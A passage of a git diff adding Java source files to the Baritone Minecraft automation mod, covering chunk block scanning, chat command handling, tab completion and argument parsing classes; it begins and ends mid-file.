ctx.world().getChunkProvider(); + + int maxSearchRadiusSq = maxSearchRadius * maxSearchRadius; + int playerChunkX = ctx.playerFeet().getX() >> 4; + int playerChunkZ = ctx.playerFeet().getZ() >> 4; + int playerY = ctx.playerFeet().getY(); + + int playerYBlockStateContainerIndex = playerY >> 4; + int[] coordinateIterationOrder = IntStream.range(0, 16).boxed().sorted(Comparator.comparingInt(y -> Math.abs(y - playerYBlockStateContainerIndex))).mapToInt(x -> x).toArray(); + + int searchRadiusSq = 0; + boolean foundWithinY = false; + while (true) { + boolean allUnloaded = true; + boolean foundChunks = false; + for (int xoff = -searchRadiusSq; xoff <= searchRadiusSq; xoff++) { + for (int zoff = -searchRadiusSq; zoff <= searchRadiusSq; zoff++) { + int distance = xoff * xoff + zoff * zoff; + if (distance != searchRadiusSq) { + continue; + } + foundChunks = true; + int chunkX = xoff + playerChunkX; + int chunkZ = zoff + playerChunkZ; + Chunk chunk = chunkProvider.getChunk(chunkX, chunkZ, null, false); + if (chunk == null) { + continue; + } + allUnloaded = false; + if (scanChunkInto(chunkX << 4, chunkZ << 4, chunk, filter, res, max, yLevelThreshold, playerY, coordinateIterationOrder)) { + foundWithinY = true; + } + } + } + if ((allUnloaded && foundChunks) + || (res.size() >= max + && (searchRadiusSq > maxSearchRadiusSq || (searchRadiusSq > 1 && foundWithinY))) + ) { + return res; + } + searchRadiusSq++; + } + } + + @Override + public List scanChunk(IPlayerContext ctx, BlockOptionalMetaLookup filter, ChunkPos pos, int max, int yLevelThreshold) { + if (filter.blocks().isEmpty()) { + return Collections.emptyList(); + } + + ClientChunkProvider chunkProvider = (ClientChunkProvider) ctx.world().getChunkProvider(); + Chunk chunk = chunkProvider.getChunk(pos.x, pos.z, null, false); + int playerY = ctx.playerFeet().getY(); + + if (chunk == null || chunk.isEmpty()) { + return Collections.emptyList(); + } + + ArrayList res = new ArrayList<>(); + scanChunkInto(pos.x << 4, pos.z << 4, chunk, filter, res, max, yLevelThreshold, playerY, DEFAULT_COORDINATE_ITERATION_ORDER); + return res; + } + + @Override + public int repack(IPlayerContext ctx) { + return this.repack(ctx, 40); + } + + @Override + public int repack(IPlayerContext ctx, int range) { + AbstractChunkProvider chunkProvider = ctx.world().getChunkProvider(); + ICachedWorld cachedWorld = ctx.worldData().getCachedWorld(); + + BetterBlockPos playerPos = ctx.playerFeet(); + + int playerChunkX = playerPos.getX() >> 4; + int playerChunkZ = playerPos.getZ() >> 4; + + int minX = playerChunkX - range; + int minZ = playerChunkZ - range; + int maxX = playerChunkX + range; + int maxZ = playerChunkZ + range; + + int queued = 0; + for (int x = minX; x <= maxX; x++) { + for (int z = minZ; z <= maxZ; z++) { + Chunk chunk = chunkProvider.getChunk(x, z, false); + + if (chunk != null && !chunk.isEmpty()) { + queued++; + cachedWorld.queueForPacking(chunk); + } + } + } + + return queued; + } + + private boolean scanChunkInto(int chunkX, int chunkZ, Chunk chunk, BlockOptionalMetaLookup filter, Collection result, int max, int yLevelThreshold, int playerY, int[] coordinateIterationOrder) { + ChunkSection[] chunkInternalStorageArray = chunk.getSections(); + boolean foundWithinY = false; + for (int yIndex = 0; yIndex < 16; yIndex++) { + int y0 = coordinateIterationOrder[yIndex]; + ChunkSection section = chunkInternalStorageArray[y0]; + if (section == null || ChunkSection.isEmpty(section)) { + continue; + } + int yReal = y0 << 4; + PalettedContainer bsc = section.getData(); + for (int yy = 0; yy < 16; yy++) { + for (int z = 0; z < 16; z++) { + for (int x = 0; x < 16; x++) { + BlockState state = bsc.get(x, yy, z); + if (filter.has(state)) { + int y = yReal | yy; + if (result.size() >= max) { + if (Math.abs(y - playerY) < yLevelThreshold) { + foundWithinY = true; + } else { + if (foundWithinY) { + // have found within Y in this chunk, so don't need to consider outside Y + // TODO continue iteration to one more sorted Y coordinate block + return true; + } + } + } + result.add(new BlockPos(chunkX | x, y, chunkZ | z)); + } + } + } + } + } + return foundWithinY; + } +} diff --git a/src/baritone/command/CommandSystem.java b/src/baritone/command/CommandSystem.java new file mode 100644 index 00000000..943e0951 --- /dev/null +++ b/src/baritone/command/CommandSystem.java @@ -0,0 +1,35 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command; + +import baritone.api.command.ICommandSystem; +import baritone.api.command.argparser.IArgParserManager; +import baritone.command.argparser.ArgParserManager; + +/** + * @author Brady + * @since 10/4/2019 + */ +public enum CommandSystem implements ICommandSystem { + INSTANCE; + + @Override + public IArgParserManager getParserManager() { + return ArgParserManager.INSTANCE; + } +} diff --git a/src/baritone/command/ExampleBaritoneControl.java b/src/baritone/command/ExampleBaritoneControl.java new file mode 100644 index 00000000..aef80946 --- /dev/null +++ b/src/baritone/command/ExampleBaritoneControl.java @@ -0,0 +1,199 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command; + +import baritone.Baritone; +import baritone.api.BaritoneAPI; +import baritone.api.Settings; +import baritone.api.command.argument.ICommandArgument; +import baritone.api.command.exception.CommandNotEnoughArgumentsException; +import baritone.api.command.exception.CommandNotFoundException; +import baritone.api.command.helpers.TabCompleteHelper; +import baritone.api.command.manager.ICommandManager; +import baritone.api.event.events.ChatEvent; +import baritone.api.event.events.TabCompleteEvent; +import baritone.api.utils.Helper; +import baritone.api.utils.SettingsUtil; +import baritone.behavior.Behavior; +import baritone.command.argument.ArgConsumer; +import baritone.command.argument.CommandArguments; +import baritone.command.manager.CommandManager; +import baritone.utils.accessor.IGuiScreen; +import net.minecraft.util.Tuple; +import net.minecraft.util.text.StringTextComponent; +import net.minecraft.util.text.TextComponent; +import net.minecraft.util.text.TextFormatting; +import net.minecraft.util.text.event.ClickEvent; +import net.minecraft.util.text.event.HoverEvent; + +import java.net.URI; +import java.net.URISyntaxException; +import java.util.List; +import java.util.Locale; +import java.util.stream.Stream; + +import static baritone.api.command.IBaritoneChatControl.FORCE_COMMAND_PREFIX; + +public class ExampleBaritoneControl extends Behavior implements Helper { + + private static final Settings settings = BaritoneAPI.getSettings(); + private final ICommandManager manager; + + public ExampleBaritoneControl(Baritone baritone) { + super(baritone); + this.manager = baritone.getCommandManager(); + } + + @Override + public void onSendChatMessage(ChatEvent event) { + String msg = event.getMessage(); + String prefix = settings.prefix.value; + boolean forceRun = msg.startsWith(FORCE_COMMAND_PREFIX); + if ((settings.prefixControl.value && msg.startsWith(prefix)) || forceRun) { + event.cancel(); + String commandStr = msg.substring(forceRun ? FORCE_COMMAND_PREFIX.length() : prefix.length()); + if (!runCommand(commandStr) && !commandStr.trim().isEmpty()) { + new CommandNotFoundException(CommandManager.expand(commandStr).getA()).handle(null, null); + } + } else if ((settings.chatControl.value || settings.chatControlAnyway.value) && runCommand(msg)) { + event.cancel(); + } + } + + private void logRanCommand(String command, String rest) { + if (settings.echoCommands.value) { + String msg = command + rest; + String toDisplay = settings.censorRanCommands.value ? command + " ..." : msg; + TextComponent component = new StringTextComponent(String.format("> %s", toDisplay)); + component.setStyle(component.getStyle() + .setFormatting(TextFormatting.WHITE) + .setHoverEvent(new HoverEvent( + HoverEvent.Action.SHOW_TEXT, + new StringTextComponent("Click to rerun command") + )) + .setClickEvent(new ClickEvent( + ClickEvent.Action.RUN_COMMAND, + FORCE_COMMAND_PREFIX + msg + ))); + logDirect(component); + } + } + + public boolean runCommand(String msg) { + if (msg.trim().equalsIgnoreCase("damn")) { + logDirect("daniel"); + return false; + } else if (msg.trim().equalsIgnoreCase("orderpizza")) { + try { + ((IGuiScreen) ctx.minecraft().currentScreen).openLinkInvoker(new URI("https://www.dominos.com/en/pages/order/")); + } catch (NullPointerException | URISyntaxException ignored) {} + return false; + } + if (msg.isEmpty()) { + return this.runCommand("help"); + } + Tuple> pair = CommandManager.expand(msg); + String command = pair.getA(); + String rest = msg.substring(pair.getA().length()); + ArgConsumer argc = new ArgConsumer(this.manager, pair.getB()); + if (!argc.hasAny()) { + Settings.Setting setting = settings.byLowerName.get(command.toLowerCase(Locale.US)); + if (setting != null) { + logRanCommand(command, rest); + if (setting.getValueClass() == Boolean.class) { + this.manager.execute(String.format("set toggle %s", setting.getName())); + } else { + this.manager.execute(String.format("set %s", setting.getName())); + } + return true; + } + } else if (argc.hasExactlyOne()) { + for (Settings.Setting setting : settings.allSettings) { + if (setting.isJavaOnly()) { + continue; + } + if (setting.getName().equalsIgnoreCase(pair.getA())) { + logRanCommand(command, rest); + try { + this.manager.execute(String.format("set %s %s", setting.getName(), argc.getString())); + } catch (CommandNotEnoughArgumentsException ignored) {} // The operation is safe + return true; + } + } + } + + // If the command exists, then handle echoing the input + if (this.manager.getCommand(pair.getA()) != null) { + logRanCommand(command, rest); + } + + return this.manager.execute(pair); + } + + @Override + public void onPreTabComplete(TabCompleteEvent event) { + if (!settings.prefixControl.value) { + return; + } + String prefix = event.prefix; + String commandPrefix = settings.prefix.value; + if (!prefix.startsWith(commandPrefix)) { + return; + } + String msg = prefix.substring(commandPrefix.length()); + List args = CommandArguments.from(msg, true); + Stream stream = tabComplete(msg); + if (args.size() == 1) { + stream = stream.map(x -> commandPrefix + x); + } + event.completions = stream.toArray(String[]::new); + } + + public Stream tabComplete(String msg) { + try { + List args = CommandArguments.from(msg, true); + ArgConsumer argc = new ArgConsumer(this.manager, args); + if (argc.hasAtMost(2)) { + if (argc.hasExactly(1)) { + return new TabCompleteHelper() + .addCommands(this.manager) + .addSettings() + .filterPrefix(argc.getString()) + .stream(); + } + Settings.Setting setting = settings.byLowerName.get(argc.getString().toLowerCase(Locale.US)); + if (setting != null && !setting.isJavaOnly()) { + if (setting.getValueClass() == Boolean.class) { + TabCompleteHelper helper = new TabCompleteHelper(); + if ((Boolean) setting.value) { + helper.append("true", "false"); + } else { + helper.append("false", "true"); + } + return helper.filterPrefix(argc.getString()).stream(); + } else { + return Stream.of(SettingsUtil.settingValueToString(setting)); + } + } + } + return this.manager.tabComplete(msg); + } catch (CommandNotEnoughArgumentsException ignored) { // Shouldn't happen, the operation is safe + return Stream.empty(); + } + } +} diff --git a/src/baritone/command/argparser/ArgParserManager.java b/src/baritone/command/argparser/ArgParserManager.java new file mode 100644 index 00000000..a6acdcbc --- /dev/null +++ b/src/baritone/command/argparser/ArgParserManager.java @@ -0,0 +1,90 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.argparser; + +import baritone.api.command.argparser.IArgParser; +import baritone.api.command.argparser.IArgParserManager; +import baritone.api.command.argument.ICommandArgument; +import baritone.api.command.exception.CommandInvalidTypeException; +import baritone.api.command.exception.CommandNoParserForTypeException; +import baritone.api.command.registry.Registry; + +public enum ArgParserManager implements IArgParserManager { + INSTANCE; + + public final Registry registry = new Registry<>(); + + ArgParserManager() { + DefaultArgParsers.ALL.forEach(this.registry::register); + } + + @Override + public IArgParser.Stateless getParserStateless(Class type) { + //noinspection unchecked + return this.registry.descendingStream() + .filter(IArgParser.Stateless.class::isInstance) + .map(IArgParser.Stateless.class::cast) + .filter(parser -> parser.getTarget().isAssignableFrom(type)) + .findFirst() + .orElse(null); + } + + @Override + public IArgParser.Stated getParserStated(Class type, Class stateKlass) { + //noinspection unchecked + return this.registry.descendingStream() + .filter(IArgParser.Stated.class::isInstance) + .map(IArgParser.Stated.class::cast) + .filter(parser -> parser.getTarget().isAssignableFrom(type)) + .filter(parser -> parser.getStateType().isAssignableFrom(stateKlass)) + .map(IArgParser.Stated.class::cast) + .findFirst() + .orElse(null); + } + + @Override + public T parseStateless(Class type, ICommandArgument arg) throws CommandInvalidTypeException { + IArgParser.Stateless parser = this.getParserStateless(type); + if (parser == null) { + throw new CommandNoParserForTypeException(type); + } + try { + return parser.parseArg(arg); + } catch (Exception exc) { + throw new CommandInvalidTypeException(arg, type.getSimpleName()); + } + } + + @Override + public T parseStated(Class type, Class stateKlass, ICommandArgument arg, S state) throws CommandInvalidTypeException { + IArgParser.Stated parser = this.getParserStated(type, stateKlass); + if (parser == null) { + throw new CommandNoParserForTypeException(type); + } + try { + return parser.parseArg(arg, state); + } catch (Exception exc) { + throw new CommandInvalidTypeException(arg, type.getSimpleName()); + } + } + + @Override + public Registry getRegistry() { + return this.registry; + } +} diff --git a/src/baritone/command/argparser/DefaultArgParsers.java b/src/baritone/command/argparser/DefaultArgParsers.java new file mode 100644 index 00000000..77a14bf9 --- /dev/null +++ b/src/baritone/command/argparser/DefaultArgParsers.java @@ -0,0 +1,124 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.argparser; + +import baritone.api.command.argparser.IArgParser; +import baritone.api.command.argument.ICommandArgument; + +import java.util.Arrays; +import java.util.List; +import java.util.Locale; + +public class DefaultArgParsers { + + public enum IntArgumentParser implements IArgParser.Stateless { + INSTANCE; + + @Override + public Class getTarget() { + return Integer.class; + } + + @Override + public Integer parseArg(ICommandArgument arg) throws RuntimeException { + return Integer.parseInt(arg.getValue()); + } + } + + public enum LongArgumentParser implements IArgParser.Stateless { + INSTANCE; + + @Override + public Class getTarget() { + return Long.class; + } + + @Override + public Long parseArg(ICommandArgument arg) throws RuntimeException { + return Long.parseLong(arg.getValue()); + } + } + + public enum FloatArgumentParser implements IArgParser.Stateless { + INSTANCE; + + @Override + public Class getTarget() { + return Float.class; + } + + @Override + public Float parseArg(ICommandArgument arg) throws RuntimeException { + String value = arg.getValue(); + if (!value.matches("^([+-]?(?:\\d+(?:\\.\\d*)?|\\.\\d+)|)$")) { + throw new IllegalArgumentException("failed float format check"); + } + return Float.parseFloat(value); + } + } + + public enum DoubleArgumentParser implements IArgParser.Stateless { + INSTANCE; + + @Override + public Class getTarget() { + return Double.class; + } + + @Override + public Double parseArg(ICommandArgument arg) throws RuntimeException { + String value = arg.getValue(); + if (!value.matches("^([+-]?(?:\\d+(?:\\.\\d*)?|\\.\\d+)|)$")) { + throw new IllegalArgumentException("failed double format check"); + } + return Double.parseDouble(value); + } + } + + public static class BooleanArgumentParser implements IArgParser.Stateless { + + public static final BooleanArgumentParser INSTANCE = new BooleanArgumentParser(); + public static final List TRUTHY_VALUES = Arrays.asList("1", "true", "yes", "t", "y", "on", "enable"); + public static final List FALSY_VALUES = Arrays.asList("0", "false", "no", "f", "n", "off", "disable"); + + @Override + public Class getTarget() { + return Boolean.class; + } + + @Override + public Boolean parseArg(ICommandArgument arg) throws RuntimeException { + String value = arg.getValue(); + if (TRUTHY_VALUES.contains(value.toLowerCase(Locale.US))) { + return true; + } else if (FALSY_VALUES.contains(value.toLowerCase(Locale.US))) { + return false; + } else { + throw new IllegalArgumentException("invalid boolean"); + } + } + } + + public static final List> ALL = Arrays.asList( + IntArgumentParser.INSTANCE, + LongArgumentParser.INSTANCE, + FloatArgumentParser.INSTANCE, + DoubleArgumentParser.INSTANCE, + BooleanArgumentParser.INSTANCE + ); +} diff --git a/src/baritone/command/argument/ArgConsumer.java b/src/baritone/command/argument/ArgConsumer.java new file mode 100644 index 00000000..99f30ce9 --- /dev/null +++ b/src/baritone/command/argument/ArgConsumer.java @@ -0,0 +1,451 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.argument; + +import baritone.Baritone; +import baritone.api.IBaritone; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.argument.ICommandArgument; +import baritone.api.command.datatypes.IDatatype; +import baritone.api.command.datatypes.IDatatypeContext; +import baritone.api.command.datatypes.IDatatypeFor; +import baritone.api.command.datatypes.IDatatypePost; +import baritone.api.command.exception.CommandException; +import baritone.api.command.exception.CommandInvalidTypeException; +import baritone.api.command.exception.CommandNotEnoughArgumentsException; +import baritone.api.command.exception.CommandTooManyArgumentsException; +import baritone.api.command.manager.ICommandManager; + +import java.util.ArrayList; +import java.util.Deque; +import java.util.LinkedList; +import java.util.List; +import java.util.stream.Stream; + +public class ArgConsumer implements IArgConsumer { + + /** + * The parent {@link ICommandManager} for this {@link IArgConsumer}}. Used by {@link #context}. + */ + private final ICommandManager manager; + + /** + * The {@link IDatatypeContext} instance for this {@link IArgConsumer}}, passed to + * datatypes when an operation is performed upon them. + * + * @see IDatatype + * @see IDatatypeContext + */ + private final IDatatypeContext context; + + /** + * The list of arguments in this ArgConsumer + */ + private final LinkedList args; + + /** + * The list of consumed arguments for this ArgConsumer. The most recently consumed argument is the last one + */ + private final Deque consumed; + + private ArgConsumer(ICommandManager manager, Deque args, Deque consumed) { + this.manager = manager; + this.context = this.new Context(); + this.args = new LinkedList<>(args); + this.consumed = new LinkedList<>(consumed); + } + + public ArgConsumer(ICommandManager manager, List args) { + this(manager, new LinkedList<>(args), new LinkedList<>()); + } + + @Override + public LinkedList getArgs() { + return this.args; + } + + @Override + public Deque getConsumed() { + return this.consumed; + } + + @Override + public boolean has(int num) { + return args.size() >= num; + } + + @Override + public boolean hasAny() { + return has(1); + } + + @Override + public boolean hasAtMost(int num) { + return args.size() <= num; + } + + @Override + public boolean hasAtMostOne() { + return hasAtMost(1); + } + + @Override + public boolean hasExactly(int num) { + return args.size() == num; + } + + @Override + public boolean hasExactlyOne() { + return hasExactly(1); + } + + @Override + public ICommandArgument peek(int index) throws CommandNotEnoughArgumentsException { + requireMin(index + 1); + return args.get(index); + } + + @Override + public ICommandArgument peek() throws CommandNotEnoughArgumentsException { + return peek(0); + } + + @Override + public boolean is(Class type, int index) throws CommandNotEnoughArgumentsException { + return peek(index).is(type); + } + + @Override + public boolean is(Class type) throws CommandNotEnoughArgumentsException { + return is(type, 0); + } + + @Override + public String peekString(int index) throws CommandNotEnoughArgumentsException { + return peek(index).getValue(); + } + + @Override + public String peekString() throws CommandNotEnoughArgumentsException { + return peekString(0); + } + + @Override + public > E peekEnum(Class enumClass, int index) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException { + return peek(index).getEnum(enumClass); + } + + @Override + public > E peekEnum(Class enumClass) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException { + return peekEnum(enumClass, 0); + } + + @Override + public > E peekEnumOrNull(Class enumClass, int index) throws CommandNotEnoughArgumentsException { + try { + return peekEnum(enumClass, index); + } catch (CommandInvalidTypeException e) { + return null; + } + } + + @Override + public > E peekEnumOrNull(Class enumClass) throws CommandNotEnoughArgumentsException { + return peekEnumOrNull(enumClass, 0); + } + + @Override + public T peekAs(Class type, int index) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException { + return peek(index).getAs(type); + } + + @Override + public T peekAs(Class type) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException { + return peekAs(type, 0); + } + + @Override + public T peekAsOrDefault(Class type, T def, int index) throws CommandNotEnoughArgumentsException { + try { + return peekAs(type, index); + } catch (CommandInvalidTypeException e) { + return def; + } + } + + @Override + public T peekAsOrDefault(Class type, T def) throws CommandNotEnoughArgumentsException { + return peekAsOrDefault(type, def, 0); + } + + @Override + public T peekAsOrNull(Class type, int index) throws CommandNotEnoughArgumentsException { + return peekAsOrDefault(type, null, index); + } + + @Override + public T peekAsOrNull(Class type) throws CommandNotEnoughArgumentsException { + return peekAsOrNull(type, 0); + } + + @Override + public T peekDatatype(IDatatypeFor datatype) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException { + return copy().getDatatypeFor(datatype); + } + + @Override + public T peekDatatype(IDatatypePost datatype) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException { + return this.peekDatatype(datatype, null); + } + + @Override + public T peekDatatype(IDatatypePost datatype, O original) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException { + return copy().getDatatypePost(datatype, original); + } + + @Override + public T peekDatatypeOrNull(IDatatypeFor datatype) { + return copy().getDatatypeForOrNull(datatype); + } + + @Override + public T peekDatatypeOrNull(IDatatypePost datatype) { + return copy().getDatatypePostOrNull(datatype, null); + } + + @Override + public > T peekDatatypePost(D datatype, O original) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException { + return copy().getDatatypePost(datatype, original); + } + + @Override + public > T peekDatatypePostOrDefault(D datatype, O original, T def) { + return copy().getDatatypePostOrDefault(datatype, original, def); + } + + @Override + public > T peekDatatypePostOrNull(D datatype, O original) { + return peekDatatypePostOrDefault(datatype, original, null); + } + + @Override + public > T peekDatatypeFor(Class datatype) { + return copy().peekDatatypeFor(datatype); + } + + @Override + public > T peekDatatypeForOrDefault(Class datatype, T def) { + return copy().peekDatatypeForOrDefault(datatype, def); + } + + @Override + public > T peekDatatypeForOrNull(Class datatype) { + return peekDatatypeForOrDefault(datatype, null); + } + + @Override + public ICommandArgument get() throws CommandNotEnoughArgumentsException { + requireMin(1); + ICommandArgument arg = args.removeFirst(); + consumed.add(arg); + return arg; + } + + @Override + public String getString() throws CommandNotEnoughArgumentsException { + return get().getValue(); + } + + @Override + public > E getEnum(Class enumClass) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException { + return get().getEnum(enumClass); + } + + @Override + public > E getEnumOrDefault(Class enumClass, E def) throws CommandNotEnoughArgumentsException { + try { + peekEnum(enumClass); + return getEnum(enumClass); + } catch (CommandInvalidTypeException e) { + return def; + } + } + + @Override + public > E getEnumOrNull(Class enumClass) throws CommandNotEnoughArgumentsException { + return getEnumOrDefault(enumClass, null); + } + + @Override + public T getAs(Class type) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException { + return get().getAs(type); + } + + @Override + public T getAsOrDefault(Class type, T def) throws CommandNotEnoughArgumentsException { + try { + T val = peek().getAs(type); + get(); + return val; + } catch (CommandInvalidTypeException e) { + return def; + } + } + + @Override + public T getAsOrNull(Class type) throws CommandNotEnoughArgumentsException { + return getAsOrDefault(type, null); + } + + @Override + public > T getDatatypePost(D datatype, O original) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException { + try { + return datatype.apply(this.context, original); + } catch (Exception e) { + if (Baritone.settings().verboseCommandExceptions.value) { + e.printStackTrace(); + } + throw new CommandInvalidTypeException(hasAny() ? peek() : consumed(), datatype.getClass().getSimpleName(), e); + } + } + + @Override + public > T getDatatypePostOrDefault(D datatype, O original, T _default) { + final List argsSnapshot = new ArrayList<>(this.args); + final List consumedSnapshot = new ArrayList<>(this.consumed); + try { + return this.getDatatypePost(datatype, original); + } catch (Exception e) { + this.args.clear(); + this.args.addAll(argsSnapshot); + this.consumed.clear(); + this.consumed.addAll(consumedSnapshot); + return _default; + } + } + + @Override + public > T getDatatypePostOrNull(D datatype, O original) { + return this.getDatatypePostOrDefault(datatype, original, null); + } + + @Override + public > T getDatatypeFor(D datatype) throws CommandInvalidTypeException, CommandNotEnoughArgumentsException { + try { + return datatype.get(this.context); + } catch (Exception e) { + if (Baritone.settings().verboseCommandExceptions.value) { + e.printStackTrace(); + } + throw new CommandInvalidTypeException(hasAny() ? peek() : consumed(), datatype.getClass().getSimpleName(), e); + } + } + + @Override + public > T getDatatypeForOrDefault(D datatype, T def) { + final List argsSnapshot = new ArrayList<>(this.args); + final List consumedSnapshot = new ArrayList<>(this.consumed); + try { + return this.getDatatypeFor(datatype); + } catch (Exception e) { + this.args.clear(); + this.args.addAll(argsSnapshot); + this.consumed.clear(); + this.consumed.addAll(consumedSnapshot); + return def; + } + } + + @Override + public > T getDatatypeForOrNull(D datatype) { + return this.getDatatypeForOrDefault(datatype, null); + } + + @Override + public Stream tabCompleteDatatype(T datatype) { + try { + return datatype.tabComplete(this.context); + } catch (CommandException ignored) { + // NOP + } catch (Exception e) { + e.printStackTrace(); + } + return Stream.empty(); + } + + @Override + public String rawRest() { + return args.size() > 0 ? args.getFirst().getRawRest() : ""; + } + + @Override + public void requireMin(int min) throws CommandNotEnoughArgumentsException { + if (args.size() < min) { + throw new CommandNotEnoughArgumentsException(min + consumed.size()); + } + } + + @Override + public void requireMax(int max) throws CommandTooManyArgumentsException { + if (args.size() > max) { + throw new CommandTooManyArgumentsException(max + consumed.size()); + } + } + + @Override + public void requireExactly(int args) throws CommandException { + requireMin(args); + requireMax(args); + } + + @Override + public boolean hasConsumed() { + return !consumed.isEmpty(); + } + + @Override + public ICommandArgument consumed() { + return consumed.size() > 0 ? consumed.getLast() : CommandArguments.unknown(); + } + + @Override + public String consumedString() { + return consumed().getValue(); + } + + @Override + public ArgConsumer copy() { + return new ArgConsumer(manager, args, consumed); + } + + /** + * Implementation of {@link IDatatypeContext} which adapts to the parent {@link IArgConsumer}} + */ + private final class Context implements IDatatypeContext { + + @Override + public final IBaritone getBaritone() { + return ArgConsumer.this.manager.getBaritone(); + } + + @Override + public final ArgConsumer getConsumer() { + return ArgConsumer.this; + } + } +} diff --git a/src/baritone/command/argument/CommandArgument.java b/src/baritone/command/argument/CommandArgument.java new file mode 100644 index 00000000..a40ae1d5 --- /dev/null +++ b/src/baritone/command/argument/CommandArgument.java @@ -0,0 +1,96 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.argument; + +import baritone.api.command.argument.ICommandArgument; +import baritone.api.command.exception.CommandInvalidTypeException; +import baritone.command.argparser.ArgParserManager; + +import java.util.stream.Stream; + +/** + * The default implementation of {@link ICommandArgument} + * + * @author LoganDark + */ +class CommandArgument implements ICommandArgument { + + private final int index; + private final String value; + private final String rawRest; + + CommandArgument(int index, String value, String rawRest) { + this.index = index; + this.value = value; + this.rawRest = rawRest; + } + + @Override + public int getIndex() { + return this.index; + } + + @Override + public String getValue() { + return this.value; + } + + @Override + public String getRawRest() { + return this.rawRest; + } + + @Override + public > E getEnum(Class enumClass) throws CommandInvalidTypeException { + return Stream.of(enumClass.getEnumConstants()) + .filter(e -> e.name().equalsIgnoreCase(value)) + .findFirst() + .orElseThrow(() -> new CommandInvalidTypeException(this, enumClass.getSimpleName())); + } + + @Override + public T getAs(Class type) throws CommandInvalidTypeException { + return ArgParserManager.INSTANCE.parseStateless(type, this); + } + + @Override + public boolean is(Class type) { + try { + getAs(type); + return true; + } catch (Throwable t) { + return false; + } + } + + @SuppressWarnings("UnusedReturnValue") + @Override + public T getAs(Class type, Class stateType, S state) throws CommandInvalidTypeException { + return ArgParserManager.INSTANCE.parseStated(type, stateType, this, state); + } + + @Override + public boolean is(Class type, Class stateType, S state) { + try { + getAs(type, stateType, state); + return true; + } catch (Throwable t) { + return false; + } + } +} diff --git a/src/baritone/command/argument/CommandArguments.java b/src/baritone/command/argument/CommandArguments.java new file mode 100644 index 00000000..22a2ef88 --- /dev/null +++ b/src/baritone/command/argument/CommandArguments.java @@ -0,0 +1,79 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.argument; + +import baritone.api.command.argument.ICommandArgument; +import baritone.api.command.exception.CommandInvalidArgumentException; + +import java.util.ArrayList; +import java.util.List; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +/** + * @author LoganDark + */ +public final class CommandArguments { + + private CommandArguments() {} + + private static final Pattern ARG_PATTERN = Pattern.compile("\\S+"); + + /** + * Turn a string into a list of {@link ICommandArgument}s. This is needed because of {@link ICommandArgument#getRawRest()} + * + * @param string The string to convert + * @param preserveEmptyLast If 